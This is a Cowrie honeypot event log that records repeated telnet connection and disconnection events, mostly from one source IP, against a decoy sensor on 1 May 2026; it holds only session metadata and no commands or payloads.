{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":48112,"dst_ip":"10.17.0.5","dst_port":23,"session":"348654dd110a","protocol":"telnet","message":"New connection: 164.68.118.26:48112 (10.17.0.5:23) [session: 348654dd110a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:10.932755Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":48558,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbd569a1aafc","protocol":"telnet","message":"New connection: 164.68.118.26:48558 (10.17.0.5:23) [session: fbd569a1aafc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:11.046501Z"}
{"eventid":"cowrie.session.closed","duration":30.829850435256958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:11.073430Z","src_ip":"164.68.118.26","session":"3fd4aae9e0bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":48662,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccfcd63007ab","protocol":"telnet","message":"New connection: 164.68.118.26:48662 (10.17.0.5:23) [session: ccfcd63007ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:11.106775Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":49076,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb0cb4ae2c5b","protocol":"telnet","message":"New connection: 164.68.118.26:49076 (10.17.0.5:23) [session: bb0cb4ae2c5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:11.189542Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":50194,"dst_ip":"10.17.0.5","dst_port":23,"session":"020216485f32","protocol":"telnet","message":"New connection: 164.68.118.26:50194 (10.17.0.5:23) [session: 020216485f32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:11.486967Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":52040,"dst_ip":"10.17.0.5","dst_port":23,"session":"0472e9bc69e2","protocol":"telnet","message":"New connection: 164.68.118.26:52040 (10.17.0.5:23) [session: 0472e9bc69e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:11.967516Z"}
{"eventid":"cowrie.session.closed","duration":30.90045475959778,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:12.050595Z","src_ip":"164.68.118.26","session":"7fd72c4c7986","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.796704292297363,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:12.232471Z","src_ip":"164.68.118.26","session":"7eec7a668f37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.570110082626343,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:12.243667Z","src_ip":"164.68.118.26","session":"bf55793993db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00711441040039,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:12.395073Z","src_ip":"164.68.118.26","session":"74e200686c39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96326208114624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:12.676674Z","src_ip":"164.68.118.26","session":"958a6d5b2cc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":54690,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9eb8e096f92","protocol":"telnet","message":"New connection: 164.68.118.26:54690 (10.17.0.5:23) [session: e9eb8e096f92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:12.709026Z"}
{"eventid":"cowrie.session.closed","duration":30.380505561828613,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:13.046176Z","src_ip":"164.68.118.26","session":"30b1f350c403","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80903172492981,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:13.061666Z","src_ip":"164.68.118.26","session":"cfadfb0b7c71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":46134,"dst_ip":"10.17.0.5","dst_port":23,"session":"15d5058a184f","protocol":"telnet","message":"New connection: 164.68.118.26:46134 (10.17.0.5:23) [session: 15d5058a184f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:13.440638Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":53160,"dst_ip":"10.17.0.5","dst_port":23,"session":"136497fd701b","protocol":"telnet","message":"New connection: 173.198.194.106:53160 (10.17.0.5:23) [session: 136497fd701b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:13.474068Z"}
{"eventid":"cowrie.session.closed","duration":31.172616720199585,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:13.496286Z","src_ip":"164.68.118.26","session":"69fa68039a2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":54544,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bfc64698077","protocol":"telnet","message":"New connection: 164.68.118.26:54544 (10.17.0.5:23) [session: 5bfc64698077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:13.661957Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.9.24.225","src_port":24880,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6ebd56234fd","protocol":"telnet","message":"New connection: 200.9.24.225:24880 (10.17.0.5:23) [session: b6ebd56234fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:13.776682Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":59314,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d17b856587d","protocol":"telnet","message":"New connection: 164.68.118.26:59314 (10.17.0.5:23) [session: 1d17b856587d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:13.991018Z"}
{"eventid":"cowrie.session.closed","duration":31.07992434501648,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:14.078799Z","src_ip":"164.68.118.26","session":"e27e8a476b22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.789066791534424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:14.664739Z","src_ip":"164.68.118.26","session":"43527d2479af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":34142,"dst_ip":"10.17.0.5","dst_port":23,"session":"c32ea27c8f90","protocol":"telnet","message":"New connection: 164.68.118.26:34142 (10.17.0.5:23) [session: c32ea27c8f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:14.827182Z"}
{"eventid":"cowrie.session.closed","duration":30.694536209106445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:16.132240Z","src_ip":"164.68.118.26","session":"989711ae8eed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.207326650619507,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:16.235409Z","src_ip":"164.68.118.26","session":"e33fd0c2aa71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.055785655975342,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:16.428525Z","src_ip":"164.68.118.26","session":"d4ca831828dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":39894,"dst_ip":"10.17.0.5","dst_port":23,"session":"42481094d4b7","protocol":"telnet","message":"New connection: 164.68.118.26:39894 (10.17.0.5:23) [session: 42481094d4b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:16.441093Z"}
{"eventid":"cowrie.session.closed","duration":37.599135637283325,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:16.821766Z","src_ip":"45.63.42.31","session":"2afd87d9b612","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.271937370300293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:17.310897Z","src_ip":"164.68.118.26","session":"9ae66bc5b07b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.202847242355347,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:17.612111Z","src_ip":"164.68.118.26","session":"a0e217c833f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":44804,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ba8a4596386","protocol":"telnet","message":"New connection: 164.68.118.26:44804 (10.17.0.5:23) [session: 5ba8a4596386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:17.783192Z"}
{"eventid":"cowrie.session.closed","duration":30.33757710456848,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:18.078074Z","src_ip":"164.68.118.26","session":"4f4f41d2a42c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.796128511428833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:18.106265Z","src_ip":"164.68.118.26","session":"b8557a554dc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7947998046875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:18.118161Z","src_ip":"164.68.118.26","session":"84efb4dedde2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":49136,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d85b6f4b753","protocol":"telnet","message":"New connection: 164.68.118.26:49136 (10.17.0.5:23) [session: 6d85b6f4b753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:18.998796Z"}
{"eventid":"cowrie.session.closed","duration":30.461506128311157,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:19.055432Z","src_ip":"164.68.118.26","session":"7378ec34040a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.17661714553833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:19.067540Z","src_ip":"164.68.118.26","session":"0996f14ff8d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.802154541015625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:19.078629Z","src_ip":"164.68.118.26","session":"af29e942f863","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.695841550827026,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:19.268588Z","src_ip":"164.68.118.26","session":"403b80b6c8de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":53544,"dst_ip":"10.17.0.5","dst_port":23,"session":"1057babad812","protocol":"telnet","message":"New connection: 164.68.118.26:53544 (10.17.0.5:23) [session: 1057babad812]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:20.211959Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":55162,"dst_ip":"10.17.0.5","dst_port":23,"session":"46cf7287c0ad","protocol":"telnet","message":"New connection: 164.68.118.26:55162 (10.17.0.5:23) [session: 46cf7287c0ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:20.552619Z"}
{"eventid":"cowrie.session.closed","duration":31.521657705307007,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:20.572564Z","src_ip":"164.68.118.26","session":"a0e1a9e83710","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.439087629318237,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:21.084460Z","src_ip":"164.68.118.26","session":"8f7920effa0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.582484006881714,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:21.139058Z","src_ip":"164.68.118.26","session":"e489a9876423","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":60110,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c9d7d4e2f7f","protocol":"telnet","message":"New connection: 164.68.118.26:60110 (10.17.0.5:23) [session: 4c9d7d4e2f7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:21.843577Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":60518,"dst_ip":"10.17.0.5","dst_port":23,"session":"df16f96f8620","protocol":"telnet","message":"New connection: 164.68.118.26:60518 (10.17.0.5:23) [session: df16f96f8620]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:21.940838Z"}
{"eventid":"cowrie.session.closed","duration":30.788631677627563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:22.057243Z","src_ip":"164.68.118.26","session":"34660a28810a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87480640411377,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:22.068622Z","src_ip":"164.68.118.26","session":"ad798bd19bb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":32948,"dst_ip":"10.17.0.5","dst_port":23,"session":"6026c6c93a3c","protocol":"telnet","message":"New connection: 164.68.118.26:32948 (10.17.0.5:23) [session: 6026c6c93a3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:22.099682Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":35180,"dst_ip":"10.17.0.5","dst_port":23,"session":"d139b089af08","protocol":"telnet","message":"New connection: 164.68.118.26:35180 (10.17.0.5:23) [session: d139b089af08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:22.663074Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":37102,"dst_ip":"10.17.0.5","dst_port":23,"session":"57446dfc923e","protocol":"telnet","message":"New connection: 164.68.118.26:37102 (10.17.0.5:23) [session: 57446dfc923e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:23.162609Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":38026,"dst_ip":"10.17.0.5","dst_port":23,"session":"35fae4b3bab0","protocol":"telnet","message":"New connection: 164.68.118.26:38026 (10.17.0.5:23) [session: 35fae4b3bab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:23.423558Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":33960,"dst_ip":"10.17.0.5","dst_port":23,"session":"91667ba9f3ab","protocol":"telnet","message":"New connection: 173.198.194.106:33960 (10.17.0.5:23) [session: 91667ba9f3ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:23.687121Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":40036,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2bfd723b3b3","protocol":"telnet","message":"New connection: 164.68.118.26:40036 (10.17.0.5:23) [session: f2bfd723b3b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:23.912280Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":40596,"dst_ip":"10.17.0.5","dst_port":23,"session":"b34a07a05374","protocol":"telnet","message":"New connection: 164.68.118.26:40596 (10.17.0.5:23) [session: b34a07a05374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:24.025997Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":40728,"dst_ip":"10.17.0.5","dst_port":23,"session":"2666f9154b0e","protocol":"telnet","message":"New connection: 164.68.118.26:40728 (10.17.0.5:23) [session: 2666f9154b0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:24.056682Z"}
{"eventid":"cowrie.session.closed","duration":30.382141828536987,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:24.103021Z","src_ip":"164.68.118.26","session":"6009b291396c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":42622,"dst_ip":"10.17.0.5","dst_port":23,"session":"77d239eb1bd2","protocol":"telnet","message":"New connection: 164.68.118.26:42622 (10.17.0.5:23) [session: 77d239eb1bd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:24.554356Z"}
{"eventid":"cowrie.session.closed","duration":30.699870824813843,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:24.581052Z","src_ip":"164.68.118.26","session":"22d9eddf7866","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":43462,"dst_ip":"10.17.0.5","dst_port":23,"session":"c80cf0afadc8","protocol":"telnet","message":"New connection: 164.68.118.26:43462 (10.17.0.5:23) [session: c80cf0afadc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:24.774132Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":45056,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1fcc33636b2","protocol":"telnet","message":"New connection: 164.68.118.26:45056 (10.17.0.5:23) [session: f1fcc33636b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:25.212018Z"}
{"eventid":"cowrie.session.closed","duration":30.440494775772095,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:25.226470Z","src_ip":"173.198.194.106","session":"64672982428c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69910717010498,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:25.629855Z","src_ip":"164.68.118.26","session":"a45926bb0019","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":47920,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebd3d33677b2","protocol":"telnet","message":"New connection: 164.68.118.26:47920 (10.17.0.5:23) [session: ebd3d33677b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:25.897704Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":49512,"dst_ip":"10.17.0.5","dst_port":23,"session":"38f8cd3f818a","protocol":"telnet","message":"New connection: 164.68.118.26:49512 (10.17.0.5:23) [session: 38f8cd3f818a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:26.322973Z"}
{"eventid":"cowrie.session.closed","duration":30.730728149414062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:26.363254Z","src_ip":"164.68.118.26","session":"f088a532c8a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":50358,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fbb4b0bfdaf","protocol":"telnet","message":"New connection: 164.68.118.26:50358 (10.17.0.5:23) [session: 4fbb4b0bfdaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:26.517785Z"}
{"eventid":"cowrie.session.closed","duration":31.367053270339966,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:26.547955Z","src_ip":"164.68.118.26","session":"de65b73ba9ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.585317611694336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:27.083117Z","src_ip":"164.68.118.26","session":"994dbd15addf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.926360845565796,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:27.702924Z","src_ip":"200.9.24.225","session":"b6ebd56234fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":56344,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd922f8e7675","protocol":"telnet","message":"New connection: 164.68.118.26:56344 (10.17.0.5:23) [session: fd922f8e7675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:28.070454Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":57524,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0696cb79077","protocol":"telnet","message":"New connection: 164.68.118.26:57524 (10.17.0.5:23) [session: c0696cb79077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:28.482984Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":54472,"dst_ip":"10.17.0.5","dst_port":23,"session":"e21b7e8822d4","protocol":"telnet","message":"New connection: 164.68.118.26:54472 (10.17.0.5:23) [session: e21b7e8822d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:28.601235Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":59158,"dst_ip":"10.17.0.5","dst_port":23,"session":"3712a1b925ae","protocol":"telnet","message":"New connection: 164.68.118.26:59158 (10.17.0.5:23) [session: 3712a1b925ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:28.932119Z"}
{"eventid":"cowrie.session.closed","duration":30.43207025527954,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:29.124624Z","src_ip":"164.68.118.26","session":"ef00bf5b26d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":60080,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd820e091f47","protocol":"telnet","message":"New connection: 164.68.118.26:60080 (10.17.0.5:23) [session: bd820e091f47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:29.189591Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":60504,"dst_ip":"10.17.0.5","dst_port":23,"session":"4946d9bf7900","protocol":"telnet","message":"New connection: 164.68.118.26:60504 (10.17.0.5:23) [session: 4946d9bf7900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:29.329979Z"}
{"eventid":"cowrie.session.closed","duration":31.23452854156494,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:29.341423Z","src_ip":"164.68.118.26","session":"6fe8b3adfec4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":34238,"dst_ip":"10.17.0.5","dst_port":23,"session":"1089e7735a0f","protocol":"telnet","message":"New connection: 164.68.118.26:34238 (10.17.0.5:23) [session: 1089e7735a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:29.890858Z"}
{"eventid":"cowrie.session.closed","duration":30.460548162460327,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:30.115169Z","src_ip":"164.68.118.26","session":"322856d34a26","protocol":"telnet"}
